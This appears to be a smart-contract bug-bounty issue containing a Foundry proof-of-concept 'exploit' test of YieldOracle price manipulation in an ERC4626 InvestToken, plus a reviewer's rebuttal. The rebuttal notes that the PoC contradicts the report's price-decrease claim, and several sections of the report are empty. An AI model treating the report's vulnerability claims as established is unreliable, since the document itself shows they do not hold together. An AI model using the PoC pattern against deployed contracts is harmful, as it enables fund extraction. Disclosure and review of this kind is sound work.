Open hats-bug-reporter[bot] opened 1 week ago
Please Note: I forgot to include the POC File earlier in my submitted report.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
import {Test} from "forge-std/Test.sol"; import {console2} from "forge-std/console2.sol"; import {YieldOracle} from "../src/YieldOracle.sol"; import {InvestToken} from "../src/InvestToken.sol"; import {USDE} from "../src/USDE.sol"; import {Validator} from "../src/Validator.sol"; import {IYieldOracle} from "../src/interfaces/IYieldOracle.sol"; import {IUSDE} from "../src/interfaces/IUSDE.sol"; import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
contract YieldOracleExploitTest is Test { YieldOracle public oracle; InvestToken public investToken; USDE public usde; Validator public validator;
address admin = makeAddr("admin");
address oracleOperator = makeAddr("operator");
address alice = makeAddr("alice");
function setUp() public {
// Deploy core contracts
validator = new Validator(admin, admin, admin);
// Deploy USDE with proxy
USDE usdeImpl = new USDE(validator);
bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, admin);
ERC1967Proxy usdeProxy = new ERC1967Proxy(address(usdeImpl), usdeData);
usde = USDE(address(usdeProxy));
oracle = new YieldOracle(admin, oracleOperator);
// Deploy InvestToken with proxy
InvestToken investTokenImpl = new InvestToken(validator, IUSDE(address(usde)));
bytes memory investData = abi.encodeWithSelector(
InvestToken.initialize.selector,
"Invest Token",
"IT",
admin,
oracle
);
ERC1967Proxy investProxy = new ERC1967Proxy(address(investTokenImpl), investData);
investToken = InvestToken(address(investProxy));
// Setup roles
vm.startPrank(admin);
validator.whitelist(alice);
usde.grantRole(usde.MINT_ROLE(), address(investToken));
usde.grantRole(usde.BURN_ROLE(), address(investToken));
usde.grantRole(usde.MINT_ROLE(), admin);
usde.mint(alice, 10000e18);
vm.stopPrank();
}
function testPriceManipulationArbitrage() public {
emit log_string("\n=== Initial State ===");
uint256 initialPrice = 100e18;
uint256 depositAmount = 1000e18;
uint256 newPrice = 150e18;
emit log_named_decimal_uint("Initial Price", initialPrice, 18);
emit log_named_decimal_uint("Alice Initial USDE Balance", usde.balanceOf(alice), 18);
// Set initial prices
vm.startPrank(admin);
oracle.setMaxPriceIncrease(100e18);
oracle.setCurrentPrice(initialPrice);
oracle.setPreviousPrice(initialPrice);
vm.stopPrank();
// First price update and commit
vm.warp(block.timestamp + oracle.updateDelay() + 1);
vm.startPrank(oracleOperator);
oracle.updatePrice(initialPrice);
vm.warp(block.timestamp + oracle.commitDelay() + 1);
oracle.commitPrice();
vm.stopPrank();
emit log_string("\n=== Step 1: Alice Deposits ===");
vm.startPrank(alice);
usde.approve(address(investToken), depositAmount);
uint256 sharesReceived = investToken.deposit(depositAmount, alice);
vm.stopPrank();
emit log_named_decimal_uint("Shares Received", sharesReceived, 18);
emit log_named_decimal_uint("USDE Deposited", depositAmount, 18);
emit log_string("\n=== Step 2: Oracle Price Manipulation ===");
vm.warp(block.timestamp + oracle.updateDelay() + 1);
vm.startPrank(oracleOperator);
oracle.updatePrice(newPrice);
vm.warp(block.timestamp + oracle.commitDelay() + 1);
oracle.commitPrice();
emit log_named_decimal_uint("New Oracle Price", newPrice, 18);
// Second price update and commit
vm.warp(block.timestamp + oracle.updateDelay() + 1);
oracle.updatePrice(newPrice);
vm.warp(block.timestamp + oracle.commitDelay() + 1);
oracle.commitPrice();
vm.stopPrank();
emit log_string("\n=== Step 3: Alice Redeems ===");
vm.startPrank(alice);
uint256 redeemedAmount = investToken.redeem(sharesReceived, alice, alice);
vm.stopPrank();
uint256 profit = redeemedAmount - depositAmount;
emit log_named_decimal_uint("Redeemed USDE", redeemedAmount, 18);
emit log_named_decimal_uint("Profit Generated", profit, 18);
assertGt(redeemedAmount, depositAmount, "No arbitrage profit generated");
emit log_string("\n=== Final State ===");
emit log_named_decimal_uint("Alice Final USDE Balance", usde.balanceOf(alice), 18);
}
}
This submission seems confusing because it puts emphasis on price going down, while the PoC does not reflect that emphasis. From your code suggestion:
+ require(price >= currentPrice, "Price cannot decrease");
require(price - currentPrice <= maxPriceIncrease, "Price out of bounds");
price - currentPrice
in the existing condition would underflow in case of decrease
Github username: @emerald7017 Twitter username: -- Submission hash (on-chain): 0xcff3d854c6c12fc473c8ac7bfd2d3147edd1f68c98b7e0a55ebf51dc016d610a Severity: high
Description:
Description
YieldOracle's implementation permits decreasing price updates creating arbitrage opportunities through InvestToken's ERC4626 share/asset conversion mechanism. This directly impacts InvestToken's share/asset conversion calculations, enabling profitable arbitrage through strategic deposit and withdrawal timing.
https://github.com/hats-finance/Euro-Dollar-0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd/blob/c04ebafc3c6c48d612eb8df38ebd3e5b2ffa73a6/src/YieldOracle.sol#L69-L83
YieldOracle allows price decreases between updates, violating the that prices should only increase over time. This directly affects InvestToken's share/asset conversion calculations since it relies on YieldOracle for price information.
Price Manipulation: An oracle operator could set decreasing prices, breaking the protocol's price monotonicity assumption
Economic Impact: Users could exploit price drops by:
Share Value Instability: Unexpected price decreases could lead to incorrect valuation of investment shares
The vulnerability creates arbitrage opportunities and could lead to loss of funds for users who convert assets/shares at manipulated prices.
This is particularly critical because:
The bug manifests in the following scenario:
previousPrice = 100
,currentPrice = 110
updatePrice() with price = 105
previousPrice = 110
,currentPrice = 105
The price update mechanism allows setting a new price that's lower than the previous price, breaking the monotonically increasing price requirement. While there's a check for maximum price increases, there's no corresponding check for price decreases.
Impact High
Attack Scenario
Attachments
1. Proof of Concept (PoC) File
This would better demonstrate how the vulnerability allows profit generation through price manipulation of the oracle.
The logs show:
The traces provide detailed insight into the execution flow and confirm the vulnerability. Key points from the traces:
The traces show all contract interactions, state changes, and event emissions, providing a complete technical verification of the price manipulation exploit.
Traces
2. Revised Code File (Optional)
The fix requires adding strict price monotonicity enforcement in YieldOracle's
updatePrice
function.